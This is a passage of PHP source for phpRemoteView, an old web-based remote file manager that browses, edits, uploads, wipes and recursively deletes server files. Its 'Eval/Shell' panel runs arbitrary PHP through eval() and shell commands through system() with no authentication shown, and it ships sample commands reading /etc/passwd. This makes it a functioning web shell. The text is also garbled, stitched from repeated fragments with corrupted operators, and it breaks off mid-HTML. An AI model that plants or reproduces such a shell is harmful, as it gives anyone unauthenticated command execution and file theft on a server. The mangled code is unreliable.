       Header("Location: $self?c=l&d=".urlencode($d));
       echo "<P><a href=$self?c=l&d=".urlencode($d).">done (go back)!</a><p>";
       echo "Delete ok";
       break;
   case "touch":
       ob();
       if (!touch($d.$f))
          obb().exit("<font color=red><b>Touch cancel - ACCESS DENIED</b></font>$obb");
       Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
       echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">done (go back)!</a><p>";
       echo "Touch ok (set current time to 'modify time')";
       break;
   case "clean":
       ob();
       $fi=fopen($d.$f,"w+") or
          obb().exit("<font color=red><b>Clean (empty file) cancel - ACCESS DENIED</b></font>obb");
       ftruncate($fi,0);
       fclose($fi);
       Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
       echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">done (go back)!</a><p>";
       echo "Clean ok (file now empty)";
       break;
   case "wipe":
       $size=filesize($d.$f);
       ob();
       $fi=fopen($d.$f,"w+") or
          obb().exit("<font color=red><b>Wipe cancel - access denied</b></font>$obb");
       $str=md5("phpspbru".mt_rand(0,999999999).time());
       for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte
       for ($i=0; $i<intval($size/1024)+1; $i++) fwrite($fi,$str);
       fclose($fi);
       ob();
       if (!unlink($d.$f))
          obb().exit("err# delete 2 - file was rewrite, but not delete...(only write access, delete disable)$obb");
       Header("Location: $self?c=l&d=".urlencode($d));
       echo "<a href=$self?c=i&d=".urlencode($d).">done (go back)!</a><p>";
       echo "Wipe ok (file deleted)";
       break;
   }
}}}
{{{
   //Header("Location: $self?c=l&d=".urlencode(dirname($df)));
   //echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go back)!</a>";
}}}
{{{
   break;
}}}


case "dirdelete":
{{{
   if (!$write_access) exitw();
}}}

function dir_delete($df) {{{{
   echo "<b>".basename($df)."</b><ul>";
   if ($dir=opendir($df)) {
      $i=0;
      while (($file=readdir($dir))!==false) {
         if ($file=="." |||| $file=="..") continue;
         if (is_dir("$df/$file")) {
            dir_delete($df."/".$file);
         }
         else {
            echo "$file<br>";
            echo "DELETE <tt>$df/$file</tt> ...<br>";
            unlink($df."/".$file);
         }
         $i++;
      }
      //if ($i==0) echo "-empty-<br>";
   }
   closedir($dir);
   echo "</ul>";
   echo "DELETE DIR <tt>$df</tt> ...<br>";
   rmdir("$df/$file");
}}}
}
{{{
   if (!isset($c2)) exit("error dirdelete 1");
   if (!isset($confirm)) exit("Please set confirm!");
   $df="$d";
}}}
{{{
   switch ($c2) {
}}}
{{{
      case "files":
         echo "<h3>Deleting all files in <tt>$df</tt> ...</h3>";
         if ($dir=opendir($df)) {
            while (($file=readdir($dir))!==false) {
                if ($file=="." |||| $file=="..") continue;
                if (is_dir($df.$file)) {
                   echo "<big><tt><b>>$file</b></tt></big> skip: ".filetype($df.$file)."<br>";
                }
                elseif (is_file($df.$file)) {
                   echo "<big><tt><b><font color=red>$file</font></b></tt></big> deleting...";
                   unlink($df.$file);
                   echo "<br>";
                }
                else {
                   echo "<big><tt><b>$file</b></tt></big> skip: ".filetype($df.$file)."<br>";
                }
            }
         }
         closedir($dir);
         $ref="$self?c=l&d=".urlencode($d);
         break;
   
      case "dir":
         echo "<h3>Deleting all dir/files (recursive) in <tt>$df</tt> ...</h3>";
         dir_delete($df);
         $ref="$self?c=l&d=".urlencode(realpath($d."/.."));
         break;
   }
   //header("Location: $ref");
   echo "<p><a href=$ref>DONE, go back</a>";
   break;
}}}

case "copy":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!isset($from) |||| !@file_exists($from) |||| !@realpath($from))
      exit("err# copy 1, file [$from] not found");
   if (!isset($to) |||| strlen($to)==0)
      exit("err# copy 2, file [$to] not found");
   echo "Copy: ....<hr size=1 noshade>";
   if (!copy($from,$to)) {
      echo "<hr size=1 noshade><font color=red><b>Error!</b></font><p>";
      echo "View <a href=$self?c=l&d=".urlencode(dirname($from)).">".dirname($from)."<p>";
   }
   else
      echo "DONE!<p>";
      echo "View <a href=$self?c=l&d=".urlencode(dirname($from)).">".dirname($from)."</a> (dir 'from')<p>";
      echo "View <a href=$self?c=l&d=".urlencode(dirname($to)).">".dirname($to)."</a> (dir 'to')<p>";
   break;
}}}




case "e": // edit
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!@realpath($d.$f) |||| !file_exists($d.$f)) exit("file not found");
   echo $GLOBALS['html'];
   up($d,$f);
   echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a>";
   up_link($d,$f);
   $msg="";
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"r+")) $msg=" (<font color=red><b>ONLY READ ACCESS (don't edit!)</b></font>)";
   else fclose($fi);
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"r")) $msg=" (<font color=red><b>Can't READ file - access denied (don't edit!)</b></font>)";
   else fclose($fi);
   if ($msg=="") $msg="(<font color=#009900><b>full read/write access</b></font>)";
   echo "<p><b>EDIT FILE</b> $msg<p>";
}}}
{{{
   if (!$fi=@fopen($d.$f,"r")) exit("cant' open, access denied");
   echo "<form action=$self method=post>
   <input type=hidden name=c value=e_submit>
   <input type=hidden name=d value=\"".htmlspecialchars($d)."\">
   <input type=hidden name=f value=\"".htmlspecialchars($f)."\">
   <textarea name=text cols=70 rows=20 style='width: 100%;'>".
   htmlspecialchars(fread($fi,filesize($d.$f)))."</textarea><p>
   <input type=submit value=' SAVE FILE (write to disk) '>
   <input type=checkbox name=confirm value=1 id=conf>
   <label for=conf><font color=red><b><= set confirm,
      then press 'save'...</b></font></label>
   </form>";
}}}
{{{
   break;
}}}


case "e_submit":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!realpath($d.$f) |||| !file_exists($d.$f)) exit("file not found");
   if (!isset($text)) exit("err# e_submit 1");
   if (!isset($confirm)) exit("Set CONFIRM CheckBox!");
   if (!$fi=@fopen($d.$f,"w+")) exit("access denied");
   fwrite($fi,$text);
   fclose($fi);
   Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
   echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">SAVE DONE (go back)!</a>";
}}}
{{{
   break;
}}}



case "newfile_submit":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!isset($text) |||| !isset($df)) exit("err# newfile_submit 1");
   if (!isset($confirm)) exit("Set CONFIRM CheckBox!");
   if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]");
   fwrite($fi,$text);
   fclose($fi);
   Header("Location: $self?c=l&d=".urlencode(dirname($df)));
   echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go back)!</a>";
   break;
}}}


case "fileupload_submit":
{{{
   if (!$write_access) exitw();
   if (!isset($df)) exit("err# newfile_submit 1");
   if (!isset($df3)) exit("err# newfile_submit 2");
}}}
{{{
   $fname="";
   if (isset($df2)) {
      if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) {
         exit("Upload failed: can't detect file name");
      }
      $fname=$ok["1"];
   }
   else {
      $fname=$df3;
   }
   if ($fname=="")
     exit("You mast checked 'create file name automatic' OR typed file name!");
   if (isset($df4)) $fname=strtolower($fname);
}}}
{{{
   echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']."<br>";
   echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']."<br>";
   echo "File size: ".$HTTP_POST_FILES['userfile']['size']."<br>";
   if ($df[strlen($df)-1]!="''") $df.="''";
   echo "SAVING TO: <font color=blue>$df</font><font color=red><b>$fname</b></font><p>";
}}}
{{{
   ob();
   $ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname");
   obb();
   if (!$ok) exit("<font color=red><b>Sorry, access denied</b></font> $obb");
}}}
{{{
   if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
   Header("Location: $ref");
   echo "<a href='$ref'>NEW FILE SAVED</a>";
  
   break;
}}}


case "newdir_submit":
{{{
   if (!$write_access) exitw();
   if (!isset($df)) exit("err# newdir_submit 1");
   ob();
   if (!mkdir($df,$mkdir_mode)) {
      obb();
      exit("Access denied $obb");
   }
   obb();
   if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
   Header("Location: $ref");
   echo "<a href='$ref'>Go to new directory!</a>";
}}}
{{{
   break;
}}}


case "t":
{{{
   echo "<h3>
   <a href='$self'>START PAGE</a> ||
   <a href='$self?c=t'>Eval/Shell</a>
   </h3>";
}}}
{{{
   if (!$write_access) exitw();
   error_reporting(2038);
}}}
{{{
   if (!isset($php)) {
      $php="''''' line 1 '''''\n\n// for example, uncomment next line:\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/''' line 8 '''/";
      $skipphp=1;
      $pre='checked';
      $nlbr='';
      $xmp='';
      $htmls='checked';
   }
}}}
{{{
   echo "<b>Eval PHP code</b> (don't type \"&lt;?\" and \"?&gt;\")
}}}
<form action=$self method=post>
<input type=hidden name=c value=t>
<textarea name=php rows=10 cols=60 style='width:100%;'>$php</textarea>
<input type=checkbox name=pre value='checked' $pre id='pre'>{{{
   <label for='pre'> add &lt;pre&gt;</label><br>
}}}
<input type=checkbox name=xmp value='checked' $xmp id='xmp'>{{{
   <label for='xmp'> add &lt;xmp&gt;</label><br>
}}}
<input type=checkbox name=htmls value='checked' $htmls id='htmls'>{{{
   <label for='htmls'> add htmlspecialchars()</label><br>
}}}
<input type=checkbox name=nlbr value='checked' $nlbr id='nlbr'>{{{
   <label for='nlbr'> add nl2br()</label><br>
}}}
<input type=submit></form>
<P><hr size=1 noshade>";
{{{
   if (!isset($skipphp)) {
      echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
      if ($pre<>'') echo "<pre>";
      if ($xmp<>'') echo "<xmp>";
      if ($nlbr<>'' |||| $htmls<>'') {
         ob_start();
      }
      eval($php);
      if ($nlbr<>'' |||| $htmls<>'') {
         $tmp=ob_get_contents();
         ob_end_clean();
         if ($htmls<>'') $tmp=htmlspecialchars($tmp);
         if ($nlbr<>'') $tmp=nl2br($tmp);
         echo $tmp;
      }
      if ($xmp<>'') echo "</xmp>";
      if ($pre<>'') echo "</pre>";
      echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
   }
}}}
echo "</table></table></table></table></table></table></table></table>
</table></center></table><hr size=1 noshade>";
{{{
   if (!isset($shell)) {
      $shell="#example (remove comments '#'): \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a";
      $skipshell=1;
   }
   echo "<P><b>Shell commands</b>
}}}
<form action=$self method=post>
<input type=hidden name=c value=t>
<textarea name=shell rows=10 cols=60 style='width:100%;'>$shell</textarea><br>
<input type=submit></form>
<P><hr size=1 noshade>";{{{
   if (!isset($skipshell)) {
      echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<xmp>";
}}}
{{{
      system($shell);
      echo "</xmp>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
   }
}}}
echo "
</table></table></table></table></table></table></table></table>
</table></center><hr size=1 noshade>

";
{{{
   break;
}}}



}


?>



--------------------------------------------------------------------------------



{{{
   
}}}

Исходный код phpRemoveView от 2002.08.05 (HOME)


<?

/ * * * * * * * * * * * * *

 *
 *  Welcome to phpRemoteView (RemView) 
 *
 *  View/Edit remove file system:
 *  - view index of directory (/var/log - view logs, /tmp - view PHP sessions)
 *  - view name, size, owner:group, perms, modify time of files
 *  - view html/txt/image/session files
 *  - download any file and open on Notepad
 *  - create/edit/delete file/dirs
 *  - executing any shell commands and any PHP-code
 *
 *  Free download from http://php.spb.ru/remview/
 *  Version 03, 2002-08-05. 
 *  Please report bugs... in russian only ;)
 *
 *  This programm for Unix/Windows system.
 *
 *  (c) Dmitry Borodin, dima@php.spb.ru, http://php.spb.ru
 *
 ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' WHATS NEW ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * *
 *
 * --version3--
 *  2002.08.05 new: full windows support
 *             fix some bugs, thanks Jeremy Flinston
 * 
 *  2002.07.31 add file upload for create files
 *             add 'direcrory commands'
 *             view full info after safe_mode errors
 *             fixed problem with register_glogals=off in php.ini
 *             fixed problem with magic quotes in php.ini (auto strip slashes)
 *
 * --version2--
 *  2002.01.20 add panel 'TOOLS': eval php-code and run shell commands
 *             add panel 'TOOLS': eval php-code and run shell commands
 *             add copy/edit/create file (+panel 'EDIT')
 *             add only-read mode (disable write/delete and PHP/Shell)
 *
 *  2002.01.19 add delete/touch/clean/wipe file
 *             add panel 'INFO', view a/c/m-time, hexdump view
 *             add session file view mode (link 'SESSION').
 *
 *  2002.01.12 first version!
 *
 ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' */

   $version="2002-08-05";

   $hexdump_lines=8;    // lines in hex preview file
   $hexdump_rows=24;    // 16, 24 or 32 bytes in one line

   $write_access=true;  // true - user may be write/delete.. <- Unsecured =)
                        // false - only read access (+disable PHP/Shell)
   
   $mkdir_mode=0755;    // chmode for new dir ('MkDir' button)

///////////////////////////////////////////////////////////////////////////////

   error_reporting(2047);
   set_magic_quotes_runtime(0);
   if (function_exists("ob_start")) ob_start("ob_gzhandler");

   $self=$HTTP_SERVER_VARS['PHP_SELF'];

   $url="http://".getenv('HTTP_HOST').
        (getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
        $self.
        (getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");

   //
   // antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars;
   //
   $autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell ".
              "ftype fnot c2 confirm text df df2 df3 df4 ref from to";
   foreach (explode(" ",$autovars1) as $k=>$v)  {
      if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
         elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
            //elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
   }

   //
   // autofix 'magic quotes':
   //
   $autovars2="php shell text d";
   if (get_magic_quotes_runtime() |||| get_magic_quotes_gpc()) {
      foreach (explode(" ",$autovars2) as $k=>$v) {
         if (isset($$v)) $$v=stripslashes($$v);
      }
   }

   $rand=microtime();

   if (!isset($c)) $c="";
   if (!isset($d)) $d="";
   if (!isset($f)) $f="";

   ob();
   $d=str_replace("\\","/",$d);
   if ($d=="") $d=realpath(".''")."''";
   if ($c=="") $c="l";
   if ($d[strlen($d)-1]!="''") $d.="''";
   $d=str_replace("\\","/",$d);
   if (!is_dir($d)) obb().die("<h3><P>Can't open directory <tt><font color=red><big>$d</big></font></tt>$obb");
   if (!realpath($d) |||| filetype($d)!="dir") obb().die("error dir type $obb");
   obb();

   //
   // OS detect:
   //
   $win=0;
   $unix=0;
   if (strlen($d)>1 && $d["1"]==":") $win=1; else $unix=1;

///////////////////////////////////////////////////////////////////////////////

$html=<<<remview <html><head> <title>phpRemoteView: $d$f</title> </head> <body> <style> A { text-decoration : none; } .t { font-size: 9pt; text-align : center; font-family: Verdana; } .t2 { font-size: 8pt; text-align : center; font-family: Verdana; } .n